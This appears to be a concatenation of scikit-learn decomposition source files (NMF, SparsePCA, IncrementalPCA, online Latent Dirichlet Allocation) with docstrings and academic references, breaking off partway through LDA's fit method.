    >>> import numpy as np
    >>> X = np.array([[1,1], [2, 1], [3, 1.2], [4, 1], [5, 0.8], [6, 1]])
    >>> from sklearn.decomposition import NMF
    >>> model = NMF(n_components=2, init='random', random_state=0)
    >>> model.fit(X) #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE
    NMF(alpha=0.0, beta=1, eta=0.1, init='random', l1_ratio=0.0, max_iter=200,
      n_components=2, nls_max_iter=2000, random_state=0, shuffle=False,
      solver='cd', sparseness=None, tol=0.0001, verbose=0)

    >>> model.components_
    array([[ 2.09783018,  0.30560234],
           [ 2.13443044,  2.13171694]])
    >>> model.reconstruction_err_ #doctest: +ELLIPSIS
    0.00115993...

    References
    ----------
    C.-J. Lin. Projected gradient methods for non-negative matrix
    factorization. Neural Computation, 19(2007), 2756-2779.
    http://www.csie.ntu.edu.tw/~cjlin/nmf/

    Cichocki, Andrzej, and P. H. A. N. Anh-Huy. "Fast local algorithms for
    large scale nonnegative matrix and tensor factorizations."
    IEICE transactions on fundamentals of electronics, communications and
    computer sciences 92.3: 708-721, 2009.
    """

    def __init__(self, n_components=None, solver='pg', init=None,
                 tol=1e-4, max_iter=200, random_state=None,
                 alpha=0., l1_ratio=0., verbose=0,
                 nls_max_iter=2000, sparseness=None, beta=1, eta=0.1):
        super(ProjectedGradientNMF, self).__init__(
            n_components=n_components, init=init, solver='pg', tol=tol,
            max_iter=max_iter, random_state=random_state, alpha=alpha,
            l1_ratio=l1_ratio, verbose=verbose, nls_max_iter=nls_max_iter,
            sparseness=sparseness, beta=beta, eta=eta)






"""
The :mod:`sklearn.decomposition` module includes matrix decomposition
algorithms, including among others PCA, NMF or ICA. Most of the algorithms of
this module can be regarded as dimensionality reduction techniques.
"""

from .nmf import NMF, ProjectedGradientNMF, non_negative_factorization
from .pca import PCA, RandomizedPCA
from .incremental_pca import IncrementalPCA
from .kernel_pca import KernelPCA
from .sparse_pca import SparsePCA, MiniBatchSparsePCA
from .truncated_svd import TruncatedSVD
from .fastica_ import FastICA, fastica
from .dict_learning import (dict_learning, dict_learning_online, sparse_encode,
                            DictionaryLearning, MiniBatchDictionaryLearning,
                            SparseCoder)
from .factor_analysis import FactorAnalysis
from ..utils.extmath import randomized_svd
from .online_lda import LatentDirichletAllocation

__all__ = ['DictionaryLearning',
           'FastICA',
           'IncrementalPCA',
           'KernelPCA',
           'MiniBatchDictionaryLearning',
           'MiniBatchSparsePCA',
           'NMF',
           'PCA',
           'ProjectedGradientNMF',
           'RandomizedPCA',
           'SparseCoder',
           'SparsePCA',
           'dict_learning',
           'dict_learning_online',
           'fastica',
           'non_negative_factorization',
           'randomized_svd',
           'sparse_encode',
           'FactorAnalysis',
           'TruncatedSVD',
           'LatentDirichletAllocation']






"""Matrix factorization with Sparse PCA"""
# Author: Vlad Niculae, Gael Varoquaux, Alexandre Gramfort
# License: BSD 3 clause

import numpy as np

from ..utils import check_random_state, check_array
from ..utils.validation import check_is_fitted
from ..linear_model import ridge_regression
from ..base import BaseEstimator, TransformerMixin
from .dict_learning import dict_learning, dict_learning_online


class SparsePCA(BaseEstimator, TransformerMixin):
    """Sparse Principal Components Analysis (SparsePCA)

    Finds the set of sparse components that can optimally reconstruct
    the data.  The amount of sparseness is controllable by the coefficient
    of the L1 penalty, given by the parameter alpha.

    Read more in the :ref:`User Guide <SparsePCA>`.

    Parameters
    ----------
    n_components : int,
        Number of sparse atoms to extract.

    alpha : float,
        Sparsity controlling parameter. Higher values lead to sparser
        components.

    ridge_alpha : float,
        Amount of ridge shrinkage to apply in order to improve
        conditioning when calling the transform method.

    max_iter : int,
        Maximum number of iterations to perform.

    tol : float,
        Tolerance for the stopping condition.

    method : {'lars', 'cd'}
        lars: uses the least angle regression method to solve the lasso problem
        (linear_model.lars_path)
        cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). Lars will be faster if
        the estimated components are sparse.

    n_jobs : int,
        Number of parallel jobs to run.

    U_init : array of shape (n_samples, n_components),
        Initial values for the loadings for warm restart scenarios.

    V_init : array of shape (n_components, n_features),
        Initial values for the components for warm restart scenarios.

    verbose :
        Degree of verbosity of the printed output.

    random_state : int or RandomState
        Pseudo number generator state used for random sampling.

    Attributes
    ----------
    components_ : array, [n_components, n_features]
        Sparse components extracted from the data.

    error_ : array
        Vector of errors at each iteration.

    n_iter_ : int
        Number of iterations run.

    See also
    --------
    PCA
    MiniBatchSparsePCA
    DictionaryLearning
    """
    def __init__(self, n_components=None, alpha=1, ridge_alpha=0.01,
                 max_iter=1000, tol=1e-8, method='lars', n_jobs=1, U_init=None,
                 V_init=None, verbose=False, random_state=None):
        self.n_components = n_components
        self.alpha = alpha
        self.ridge_alpha = ridge_alpha
        self.max_iter = max_iter
        self.tol = tol
        self.method = method
        self.n_jobs = n_jobs
        self.U_init = U_init
        self.V_init = V_init
        self.verbose = verbose
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fit the model from data in X.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training vector, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        self : object
            Returns the instance itself.
        """
        random_state = check_random_state(self.random_state)
        X = check_array(X)
        if self.n_components is None:
            n_components = X.shape[1]
        else:
            n_components = self.n_components
        code_init = self.V_init.T if self.V_init is not None else None
        dict_init = self.U_init.T if self.U_init is not None else None
        Vt, _, E, self.n_iter_ = dict_learning(X.T, n_components, self.alpha,
                                               tol=self.tol,
                                               max_iter=self.max_iter,
                                               method=self.method,
                                               n_jobs=self.n_jobs,
                                               verbose=self.verbose,
                                               random_state=random_state,
                                               code_init=code_init,
                                               dict_init=dict_init,
                                               return_n_iter=True
                                               )
        self.components_ = Vt.T
        self.error_ = E
        return self

    def transform(self, X, ridge_alpha=None):
        """Least Squares projection of the data onto the sparse components.

        To avoid instability issues in case the system is under-determined,
        regularization can be applied (Ridge regression) via the
        `ridge_alpha` parameter.

        Note that Sparse PCA components orthogonality is not enforced as in PCA
        hence one cannot use a simple linear projection.

        Parameters
        ----------
        X: array of shape (n_samples, n_features)
            Test data to be transformed, must have the same number of
            features as the data used to train the model.

        ridge_alpha: float, default: 0.01
            Amount of ridge shrinkage to apply in order to improve
            conditioning.

        Returns
        -------
        X_new array, shape (n_samples, n_components)
            Transformed data.
        """
        check_is_fitted(self, 'components_')

        X = check_array(X)
        ridge_alpha = self.ridge_alpha if ridge_alpha is None else ridge_alpha
        U = ridge_regression(self.components_.T, X.T, ridge_alpha,
                             solver='cholesky')
        s = np.sqrt((U ** 2).sum(axis=0))
        s[s == 0] = 1
        U /= s
        return U


class MiniBatchSparsePCA(SparsePCA):
    """Mini-batch Sparse Principal Components Analysis

    Finds the set of sparse components that can optimally reconstruct
    the data.  The amount of sparseness is controllable by the coefficient
    of the L1 penalty, given by the parameter alpha.

    Read more in the :ref:`User Guide <SparsePCA>`.

    Parameters
    ----------
    n_components : int,
        number of sparse atoms to extract

    alpha : int,
        Sparsity controlling parameter. Higher values lead to sparser
        components.

    ridge_alpha : float,
        Amount of ridge shrinkage to apply in order to improve
        conditioning when calling the transform method.

    n_iter : int,
        number of iterations to perform for each mini batch

    callback : callable,
        callable that gets invoked every five iterations

    batch_size : int,
        the number of features to take in each mini batch

    verbose :
        degree of output the procedure will print

    shuffle : boolean,
        whether to shuffle the data before splitting it in batches

    n_jobs : int,
        number of parallel jobs to run, or -1 to autodetect.

    method : {'lars', 'cd'}
        lars: uses the least angle regression method to solve the lasso problem
        (linear_model.lars_path)
        cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). Lars will be faster if
        the estimated components are sparse.

    random_state : int or RandomState
        Pseudo number generator state used for random sampling.

    Attributes
    ----------
    components_ : array, [n_components, n_features]
        Sparse components extracted from the data.

    error_ : array
        Vector of errors at each iteration.

    n_iter_ : int
        Number of iterations run.

    See also
    --------
    PCA
    SparsePCA
    DictionaryLearning
    """
    def __init__(self, n_components=None, alpha=1, ridge_alpha=0.01,
                 n_iter=100, callback=None, batch_size=3, verbose=False,
                 shuffle=True, n_jobs=1, method='lars', random_state=None):

        self.n_components = n_components
        self.alpha = alpha
        self.ridge_alpha = ridge_alpha
        self.n_iter = n_iter
        self.callback = callback
        self.batch_size = batch_size
        self.verbose = verbose
        self.shuffle = shuffle
        self.n_jobs = n_jobs
        self.method = method
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fit the model from data in X.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training vector, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        self : object
            Returns the instance itself.
        """
        random_state = check_random_state(self.random_state)
        X = check_array(X)
        if self.n_components is None:
            n_components = X.shape[1]
        else:
            n_components = self.n_components
        Vt, _, self.n_iter_ = dict_learning_online(
            X.T, n_components, alpha=self.alpha,
            n_iter=self.n_iter, return_code=True,
            dict_init=None, verbose=self.verbose,
            callback=self.callback,
            batch_size=self.batch_size,
            shuffle=self.shuffle,
            n_jobs=self.n_jobs, method=self.method,
            random_state=random_state,
            return_n_iter=True)
        self.components_ = Vt.T
        return self






"""Incremental Principal Components Analysis."""

# Author: Kyle Kastner <kastnerkyle@gmail.com>
#         Giorgio Patrini
# License: BSD 3 clause

import numpy as np
from scipy import linalg

from .base import _BasePCA
from ..utils import check_array, gen_batches
from ..utils.extmath import svd_flip, _incremental_mean_and_var


class IncrementalPCA(_BasePCA):
    """Incremental principal components analysis (IPCA).

    Linear dimensionality reduction using Singular Value Decomposition of
    centered data, keeping only the most significant singular vectors to
    project the data to a lower dimensional space.

    Depending on the size of the input data, this algorithm can be much more
    memory efficient than a PCA.

    This algorithm has constant memory complexity, on the order
    of ``batch_size``, enabling use of np.memmap files without loading the
    entire file into memory.

    The computational overhead of each SVD is
    ``O(batch_size * n_features ** 2)``, but only 2 * batch_size samples
    remain in memory at a time. There will be ``n_samples / batch_size`` SVD
    computations to get the principal components, versus 1 large SVD of
    complexity ``O(n_samples * n_features ** 2)`` for PCA.

    Read more in the :ref:`User Guide <IncrementalPCA>`.

    Parameters
    ----------
    n_components : int or None, (default=None)
        Number of components to keep. If ``n_components `` is ``None``,
        then ``n_components`` is set to ``min(n_samples, n_features)``.

    batch_size : int or None, (default=None)
        The number of samples to use for each batch. Only used when calling
        ``fit``. If ``batch_size`` is ``None``, then ``batch_size``
        is inferred from the data and set to ``5 * n_features``, to provide a
        balance between approximation accuracy and memory consumption.

    copy : bool, (default=True)
        If False, X will be overwritten. ``copy=False`` can be used to
        save memory but is unsafe for general use.

    whiten : bool, optional
        When True (False by default) the ``components_`` vectors are divided
        by ``n_samples`` times ``components_`` to ensure uncorrelated outputs
        with unit component-wise variances.

        Whitening will remove some information from the transformed signal
        (the relative variance scales of the components) but can sometimes
        improve the predictive accuracy of the downstream estimators by
        making data respect some hard-wired assumptions.

    Attributes
    ----------
    components_ : array, shape (n_components, n_features)
        Components with maximum variance.

    explained_variance_ : array, shape (n_components,)
        Variance explained by each of the selected components.

    explained_variance_ratio_ : array, shape (n_components,)
        Percentage of variance explained by each of the selected components.
        If all components are stored, the sum of explained variances is equal
        to 1.0

    mean_ : array, shape (n_features,)
        Per-feature empirical mean, aggregate over calls to ``partial_fit``.

    var_ : array, shape (n_features,)
        Per-feature empirical variance, aggregate over calls to
        ``partial_fit``.

    noise_variance_ : float
        The estimated noise covariance following the Probabilistic PCA model
        from Tipping and Bishop 1999. See "Pattern Recognition and
        Machine Learning" by C. Bishop, 12.2.1 p. 574 or
        http://www.miketipping.com/papers/met-mppca.pdf.

    n_components_ : int
        The estimated number of components. Relevant when
        ``n_components=None``.

    n_samples_seen_ : int
        The number of samples processed by the estimator. Will be reset on
        new calls to fit, but increments across ``partial_fit`` calls.

    Notes
    -----
    Implements the incremental PCA model from:
    `D. Ross, J. Lim, R. Lin, M. Yang, Incremental Learning for Robust Visual
    Tracking, International Journal of Computer Vision, Volume 77, Issue 1-3,
    pp. 125-141, May 2008.`
    See http://www.cs.toronto.edu/~dross/ivt/RossLimLinYang_ijcv.pdf

    This model is an extension of the Sequential Karhunen-Loeve Transform from:
    `A. Levy and M. Lindenbaum, Sequential Karhunen-Loeve Basis Extraction and
    its Application to Images, IEEE Transactions on Image Processing, Volume 9,
    Number 8, pp. 1371-1374, August 2000.`
    See http://www.cs.technion.ac.il/~mic/doc/skl-ip.pdf

    We have specifically abstained from an optimization used by authors of both
    papers, a QR decomposition used in specific situations to reduce the
    algorithmic complexity of the SVD. The source for this technique is
    `Matrix Computations, Third Edition, G. Holub and C. Van Loan, Chapter 5,
    section 5.4.4, pp 252-253.`. This technique has been omitted because it is
    advantageous only when decomposing a matrix with ``n_samples`` (rows)
    >= 5/3 * ``n_features`` (columns), and hurts the readability of the
    implemented algorithm. This would be a good opportunity for future
    optimization, if it is deemed necessary.

    References
    ----------
    D. Ross, J. Lim, R. Lin, M. Yang. Incremental Learning for Robust Visual
        Tracking, International Journal of Computer Vision, Volume 77,
        Issue 1-3, pp. 125-141, May 2008.

    G. Golub and C. Van Loan. Matrix Computations, Third Edition, Chapter 5,
        Section 5.4.4, pp. 252-253.

    See also
    --------
    PCA
    RandomizedPCA
    KernelPCA
    SparsePCA
    TruncatedSVD
    """

    def __init__(self, n_components=None, whiten=False, copy=True,
                 batch_size=None):
        self.n_components = n_components
        self.whiten = whiten
        self.copy = copy
        self.batch_size = batch_size

    def fit(self, X, y=None):
        """Fit the model with X, using minibatches of size batch_size.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples and
            n_features is the number of features.

        y: Passthrough for ``Pipeline`` compatibility.

        Returns
        -------
        self: object
            Returns the instance itself.
        """
        self.components_ = None
        self.n_samples_seen_ = 0
        self.mean_ = .0
        self.var_ = .0
        self.singular_values_ = None
        self.explained_variance_ = None
        self.explained_variance_ratio_ = None
        self.noise_variance_ = None

        X = check_array(X, copy=self.copy, dtype=[np.float64, np.float32])
        n_samples, n_features = X.shape

        if self.batch_size is None:
            self.batch_size_ = 5 * n_features
        else:
            self.batch_size_ = self.batch_size

        for batch in gen_batches(n_samples, self.batch_size_):
            self.partial_fit(X[batch], check_input=False)

        return self

    def partial_fit(self, X, y=None, check_input=True):
        """Incremental fit with X. All of X is processed as a single batch.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training data, where n_samples is the number of samples and
            n_features is the number of features.

        Returns
        -------
        self: object
            Returns the instance itself.
        """
        if check_input:
            X = check_array(X, copy=self.copy, dtype=[np.float64, np.float32])
        n_samples, n_features = X.shape
        if not hasattr(self, 'components_'):
            self.components_ = None

        if self.n_components is None:
            self.n_components_ = n_features
        elif not 1 <= self.n_components <= n_features:
            raise ValueError("n_components=%r invalid for n_features=%d, need "
                             "more rows than columns for IncrementalPCA "
                             "processing" % (self.n_components, n_features))
        else:
            self.n_components_ = self.n_components

        if (self.components_ is not None) and (self.components_.shape[0] !=
                                               self.n_components_):
            raise ValueError("Number of input features has changed from %i "
                             "to %i between calls to partial_fit! Try "
                             "setting n_components to a fixed value." %
                             (self.components_.shape[0], self.n_components_))

        # This is the first partial_fit
        if not hasattr(self, 'n_samples_seen_'):
            self.n_samples_seen_ = 0
            self.mean_ = .0
            self.var_ = .0

        # Update stats - they are 0 if this is the fisrt step
        col_mean, col_var, n_total_samples = \
            _incremental_mean_and_var(X, last_mean=self.mean_,
                                      last_variance=self.var_,
                                      last_sample_count=self.n_samples_seen_)

        # Whitening
        if self.n_samples_seen_ == 0:
            # If it is the first step, simply whiten X
            X -= col_mean
        else:
            col_batch_mean = np.mean(X, axis=0)
            X -= col_batch_mean
            # Build matrix of combined previous basis and new data
            mean_correction = \
                np.sqrt((self.n_samples_seen_ * n_samples) /
                        n_total_samples) * (self.mean_ - col_batch_mean)
            X = np.vstack((self.singular_values_.reshape((-1, 1)) *
                          self.components_, X, mean_correction))

        U, S, V = linalg.svd(X, full_matrices=False)
        U, V = svd_flip(U, V, u_based_decision=False)
        explained_variance = S ** 2 / n_total_samples
        explained_variance_ratio = S ** 2 / np.sum(col_var * n_total_samples)

        self.n_samples_seen_ = n_total_samples
        self.components_ = V[:self.n_components_]
        self.singular_values_ = S[:self.n_components_]
        self.mean_ = col_mean
        self.var_ = col_var
        self.explained_variance_ = explained_variance[:self.n_components_]
        self.explained_variance_ratio_ = \
            explained_variance_ratio[:self.n_components_]
        if self.n_components_ < n_features:
            self.noise_variance_ = \
                explained_variance[self.n_components_:].mean()
        else:
            self.noise_variance_ = 0.
        return self






"""

=============================================================
Online Latent Dirichlet Allocation with variational inference
=============================================================

This implementation is modified from Matthew D. Hoffman's onlineldavb code
Link: http://matthewdhoffman.com/code/onlineldavb.tar
"""

# Author: Chyi-Kwei Yau
# Author: Matthew D. Hoffman (original onlineldavb implementation)

import numpy as np
import scipy.sparse as sp
from scipy.special import gammaln

from ..base import BaseEstimator, TransformerMixin
from ..utils import (check_random_state, check_array,
                     gen_batches, gen_even_slices, _get_n_jobs)
from ..utils.validation import check_non_negative
from ..utils.extmath import logsumexp
from ..externals.joblib import Parallel, delayed
from ..externals.six.moves import xrange
from ..exceptions import NotFittedError

from ._online_lda import (mean_change, _dirichlet_expectation_1d,
                          _dirichlet_expectation_2d)

EPS = np.finfo(np.float).eps


def _update_doc_distribution(X, exp_topic_word_distr, doc_topic_prior,
                             max_iters,
                             mean_change_tol, cal_sstats, random_state):
    """E-step: update document-topic distribution.

    Parameters
    ----------
    X : array-like or sparse matrix, shape=(n_samples, n_features)
        Document word matrix.

    exp_topic_word_distr : dense matrix, shape=(n_topics, n_features)
        Exponential value of expection of log topic word distribution.
        In the literature, this is `exp(E[log(beta)])`.

    doc_topic_prior : float
        Prior of document topic distribution `theta`.

    max_iters : int
        Max number of iterations for updating document topic distribution in
        the E-step.

    mean_change_tol : float
        Stopping tolerance for updating document topic distribution in E-setp.

    cal_sstats : boolean
        Parameter that indicate to calculate sufficient statistics or not.
        Set `cal_sstats` to `True` when we need to run M-step.

    random_state : RandomState instance or None
        Parameter that indicate how to initialize document topic distribution.
        Set `random_state` to None will initialize document topic distribution
        to a constant number.

    Returns
    -------
    (doc_topic_distr, suff_stats) :
        `doc_topic_distr` is unnormalized topic distribution for each document.
        In the literature, this is `gamma`. we can calculate `E[log(theta)]`
        from it.
        `suff_stats` is expected sufficient statistics for the M-step.
            When `cal_sstats == False`, this will be None.

    """
    is_sparse_x = sp.issparse(X)
    n_samples, n_features = X.shape
    n_topics = exp_topic_word_distr.shape[0]

    if random_state:
        doc_topic_distr = random_state.gamma(100., 0.01, (n_samples, n_topics))
    else:
        doc_topic_distr = np.ones((n_samples, n_topics))

    # In the literature, this is `exp(E[log(theta)])`
    exp_doc_topic = np.exp(_dirichlet_expectation_2d(doc_topic_distr))

    # diff on `component_` (only calculate it when `cal_diff` is True)
    suff_stats = np.zeros(exp_topic_word_distr.shape) if cal_sstats else None

    if is_sparse_x:
        X_data = X.data
        X_indices = X.indices
        X_indptr = X.indptr

    for idx_d in xrange(n_samples):
        if is_sparse_x:
            ids = X_indices[X_indptr[idx_d]:X_indptr[idx_d + 1]]
            cnts = X_data[X_indptr[idx_d]:X_indptr[idx_d + 1]]
        else:
            ids = np.nonzero(X[idx_d, :])[0]
            cnts = X[idx_d, ids]

        doc_topic_d = doc_topic_distr[idx_d, :]
        # The next one is a copy, since the inner loop overwrites it.
        exp_doc_topic_d = exp_doc_topic[idx_d, :].copy()
        exp_topic_word_d = exp_topic_word_distr[:, ids]

        # Iterate between `doc_topic_d` and `norm_phi` until convergence
        for _ in xrange(0, max_iters):
            last_d = doc_topic_d

            # The optimal phi_{dwk} is proportional to
            # exp(E[log(theta_{dk})]) * exp(E[log(beta_{dw})]).
            norm_phi = np.dot(exp_doc_topic_d, exp_topic_word_d) + EPS

            doc_topic_d = (exp_doc_topic_d *
                           np.dot(cnts / norm_phi, exp_topic_word_d.T))
            # Note: adds doc_topic_prior to doc_topic_d, in-place.
            _dirichlet_expectation_1d(doc_topic_d, doc_topic_prior,
                                      exp_doc_topic_d)

            if mean_change(last_d, doc_topic_d) < mean_change_tol:
                break
        doc_topic_distr[idx_d, :] = doc_topic_d

        # Contribution of document d to the expected sufficient
        # statistics for the M step.
        if cal_sstats:
            norm_phi = np.dot(exp_doc_topic_d, exp_topic_word_d) + EPS
            suff_stats[:, ids] += np.outer(exp_doc_topic_d, cnts / norm_phi)

    return (doc_topic_distr, suff_stats)


class LatentDirichletAllocation(BaseEstimator, TransformerMixin):
    """Latent Dirichlet Allocation with online variational Bayes algorithm

    .. versionadded:: 0.17

    Read more in the :ref:`User Guide <LatentDirichletAllocation>`.

    Parameters
    ----------
    n_topics : int, optional (default=10)
        Number of topics.

    doc_topic_prior : float, optional (default=None)
        Prior of document topic distribution `theta`. If the value is None,
        defaults to `1 / n_topics`.
        In the literature, this is called `alpha`.

    topic_word_prior : float, optional (default=None)
        Prior of topic word distribution `beta`. If the value is None, defaults
        to `1 / n_topics`.
        In the literature, this is called `eta`.

    learning_method : 'batch' | 'online', default='online'
        Method used to update `_component`. Only used in `fit` method.
        In general, if the data size is large, the online update will be much
        faster than the batch update.
        Valid options::

            'batch': Batch variational Bayes method. Use all training data in
                each EM update.
                Old `components_` will be overwritten in each iteration.
            'online': Online variational Bayes method. In each EM update, use
                mini-batch of training data to update the ``components_``
                variable incrementally. The learning rate is controlled by the
                ``learning_decay`` and the ``learning_offset`` parameters.

    learning_decay : float, optional (default=0.7)
        It is a parameter that control learning rate in the online learning
        method. The value should be set between (0.5, 1.0] to guarantee
        asymptotic convergence. When the value is 0.0 and batch_size is
        ``n_samples``, the update method is same as batch learning. In the
        literature, this is called kappa.

    learning_offset : float, optional (default=10.)
        A (positive) parameter that downweights early iterations in online
        learning.  It should be greater than 1.0. In the literature, this is
        called tau_0.

    max_iter : integer, optional (default=10)
        The maximum number of iterations.

    total_samples : int, optional (default=1e6)
        Total number of documents. Only used in the `partial_fit` method.

    batch_size : int, optional (default=128)
        Number of documents to use in each EM iteration. Only used in online
        learning.

    evaluate_every : int optional (default=0)
        How often to evaluate perplexity. Only used in `fit` method.
        set it to 0 or negative number to not evalute perplexity in
        training at all. Evaluating perplexity can help you check convergence
        in training process, but it will also increase total training time.
        Evaluating perplexity in every iteration might increase training time
        up to two-fold.

    perp_tol : float, optional (default=1e-1)
        Perplexity tolerance in batch learning. Only used when
        ``evaluate_every`` is greater than 0.

    mean_change_tol : float, optional (default=1e-3)
        Stopping tolerance for updating document topic distribution in E-step.

    max_doc_update_iter : int (default=100)
        Max number of iterations for updating document topic distribution in
        the E-step.

    n_jobs : int, optional (default=1)
        The number of jobs to use in the E-step. If -1, all CPUs are used. For
        ``n_jobs`` below -1, (n_cpus + 1 + n_jobs) are used.

    verbose : int, optional (default=0)
        Verbosity level.

    random_state : int or RandomState instance or None, optional (default=None)
        Pseudo-random number generator seed control.

    Attributes
    ----------
    components_ : array, [n_topics, n_features]
        Topic word distribution. ``components_[i, j]`` represents word j in
        topic `i`.

    n_batch_iter_ : int
        Number of iterations of the EM step.

    n_iter_ : int
        Number of passes over the dataset.

    References
    ----------
    [1] "Online Learning for Latent Dirichlet Allocation", Matthew D. Hoffman,
        David M. Blei, Francis Bach, 2010

    [2] "Stochastic Variational Inference", Matthew D. Hoffman, David M. Blei,
        Chong Wang, John Paisley, 2013

    [3] Matthew D. Hoffman's onlineldavb code. Link:
        http://matthewdhoffman.com//code/onlineldavb.tar

    """

    def __init__(self, n_topics=10, doc_topic_prior=None,
                 topic_word_prior=None, learning_method='online',
                 learning_decay=.7, learning_offset=10., max_iter=10,
                 batch_size=128, evaluate_every=-1, total_samples=1e6,
                 perp_tol=1e-1, mean_change_tol=1e-3, max_doc_update_iter=100,
                 n_jobs=1, verbose=0, random_state=None):
        self.n_topics = n_topics
        self.doc_topic_prior = doc_topic_prior
        self.topic_word_prior = topic_word_prior
        self.learning_method = learning_method
        self.learning_decay = learning_decay
        self.learning_offset = learning_offset
        self.max_iter = max_iter
        self.batch_size = batch_size
        self.evaluate_every = evaluate_every
        self.total_samples = total_samples
        self.perp_tol = perp_tol
        self.mean_change_tol = mean_change_tol
        self.max_doc_update_iter = max_doc_update_iter
        self.n_jobs = n_jobs
        self.verbose = verbose
        self.random_state = random_state

    def _check_params(self):
        """Check model parameters."""

        if self.n_topics <= 0:
            raise ValueError("Invalid 'n_topics' parameter: %r"
                             % self.n_topics)

        if self.total_samples <= 0:
            raise ValueError("Invalid 'total_samples' parameter: %r"
                             % self.total_samples)

        if self.learning_offset < 0:
            raise ValueError("Invalid 'learning_offset' parameter: %r"
                             % self.learning_offset)

        if self.learning_method not in ("batch", "online"):
            raise ValueError("Invalid 'learning_method' parameter: %r"
                             % self.learning_method)

    def _init_latent_vars(self, n_features):
        """Initialize latent variables."""

        self.random_state_ = check_random_state(self.random_state)
        self.n_batch_iter_ = 1
        self.n_iter_ = 0

        if self.doc_topic_prior is None:
            self.doc_topic_prior_ = 1. / self.n_topics
        else:
            self.doc_topic_prior_ = self.doc_topic_prior

        if self.topic_word_prior is None:
            self.topic_word_prior_ = 1. / self.n_topics
        else:
            self.topic_word_prior_ = self.topic_word_prior

        init_gamma = 100.
        init_var = 1. / init_gamma
        # In the literature, this is called `lambda`
        self.components_ = self.random_state_.gamma(
            init_gamma, init_var, (self.n_topics, n_features))

        # In the literature, this is `exp(E[log(beta)])`
        self.exp_dirichlet_component_ = np.exp(
            _dirichlet_expectation_2d(self.components_))

    def _e_step(self, X, cal_sstats, random_init, parallel=None):
        """E-step in EM update.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
            Document word matrix.

        cal_sstats : boolean
            Parameter that indicate whether to calculate sufficient statistics
            or not. Set ``cal_sstats`` to True when we need to run M-step.

        random_init : boolean
            Parameter that indicate whether to initialize document topic
            distribution randomly in the E-step. Set it to True in training
            steps.

        parallel : joblib.Parallel (optional)
            Pre-initialized instance of joblib.Parallel.

        Returns
        -------
        (doc_topic_distr, suff_stats) :
            `doc_topic_distr` is unnormailzed topic distribution for each
            document. In the literature, this is called `gamma`.
            `suff_stats` is expected sufficient statistics for the M-step.
            When `cal_sstats == False`, it will be None.

        """

        # Run e-step in parallel
        random_state = self.random_state_ if random_init else None

        # TODO: make Parallel._effective_n_jobs public instead?
        n_jobs = _get_n_jobs(self.n_jobs)
        if parallel is None:
            parallel = Parallel(n_jobs=n_jobs, verbose=max(0, self.verbose - 1))
        results = parallel(
            delayed(_update_doc_distribution)(X[idx_slice, :],
                                              self.exp_dirichlet_component_,
                                              self.doc_topic_prior_,
                                              self.max_doc_update_iter,
                                              self.mean_change_tol, cal_sstats,
                                              random_state)
            for idx_slice in gen_even_slices(X.shape[0], n_jobs))

        # merge result
        doc_topics, sstats_list = zip(*results)
        doc_topic_distr = np.vstack(doc_topics)

        if cal_sstats:
            # This step finishes computing the sufficient statistics for the
            # M-step.
            suff_stats = np.zeros(self.components_.shape)
            for sstats in sstats_list:
                suff_stats += sstats
            suff_stats *= self.exp_dirichlet_component_
        else:
            suff_stats = None

        return (doc_topic_distr, suff_stats)

    def _em_step(self, X, total_samples, batch_update, parallel=None):
        """EM update for 1 iteration.

        update `_component` by batch VB or online VB.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
            Document word matrix.

        total_samples : integer
            Total umber of documents. It is only used when
            batch_update is `False`.

        batch_update : boolean
            Parameter that controls updating method.
            `True` for batch learning, `False` for online learning.

        parallel : joblib.Parallel
            Pre-initialized instance of joblib.Parallel

        Returns
        -------
        doc_topic_distr : array, shape=(n_samples, n_topics)
            Unnormalized document topic distribution.
        """

        # E-step
        _, suff_stats = self._e_step(X, cal_sstats=True, random_init=True,
                                     parallel=parallel)

        # M-step
        if batch_update:
            self.components_ = self.topic_word_prior_ + suff_stats
        else:
            # online update
            # In the literature, the weight is `rho`
            weight = np.power(self.learning_offset + self.n_batch_iter_,
                              -self.learning_decay)
            doc_ratio = float(total_samples) / X.shape[0]
            self.components_ *= (1 - weight)
            self.components_ += (weight * (self.topic_word_prior_
                                           + doc_ratio * suff_stats))

        # update `component_` related variables
        self.exp_dirichlet_component_ = np.exp(
            _dirichlet_expectation_2d(self.components_))
        self.n_batch_iter_ += 1
        return

    def _check_non_neg_array(self, X, whom):
        """check X format

        check X format and make sure no negative value in X.

        Parameters
        ----------
        X :  array-like or sparse matrix

        """
        X = check_array(X, accept_sparse='csr')
        check_non_negative(X, whom)
        return X

    def partial_fit(self, X, y=None):
        """Online VB with Mini-Batch update.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
            Document word matrix.

        Returns
        -------
        self
        """
        self._check_params()
        X = self._check_non_neg_array(X,
                                      "LatentDirichletAllocation.partial_fit")
        n_samples, n_features = X.shape
        batch_size = self.batch_size

        # initialize parameters or check
        if not hasattr(self, 'components_'):
            self._init_latent_vars(n_features)

        if n_features != self.components_.shape[1]:
            raise ValueError(
                "The provided data has %d dimensions while "
                "the model was trained with feature size %d." %
                (n_features, self.components_.shape[1]))

        n_jobs = _get_n_jobs(self.n_jobs)
        with Parallel(n_jobs=n_jobs, verbose=max(0, self.verbose - 1)) as parallel:
            for idx_slice in gen_batches(n_samples, batch_size):
                self._em_step(X[idx_slice, :],
                              total_samples=self.total_samples,
                              batch_update=False,
                              parallel=parallel)

        return self

    def fit(self, X, y=None):
        """Learn model for the data X with variational Bayes method.

        When `learning_method` is 'online', use mini-batch update.
        Otherwise, use batch update.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
            Document word matrix.

        Returns
        -------
        self
        """
        self._check_params()
        X = self._check_non_neg_array(X, "LatentDirichletAllocation.fit")
        n_samples, n_features = X.shape
        max_iter = self.max_iter
        evaluate_every = self.evaluate_every
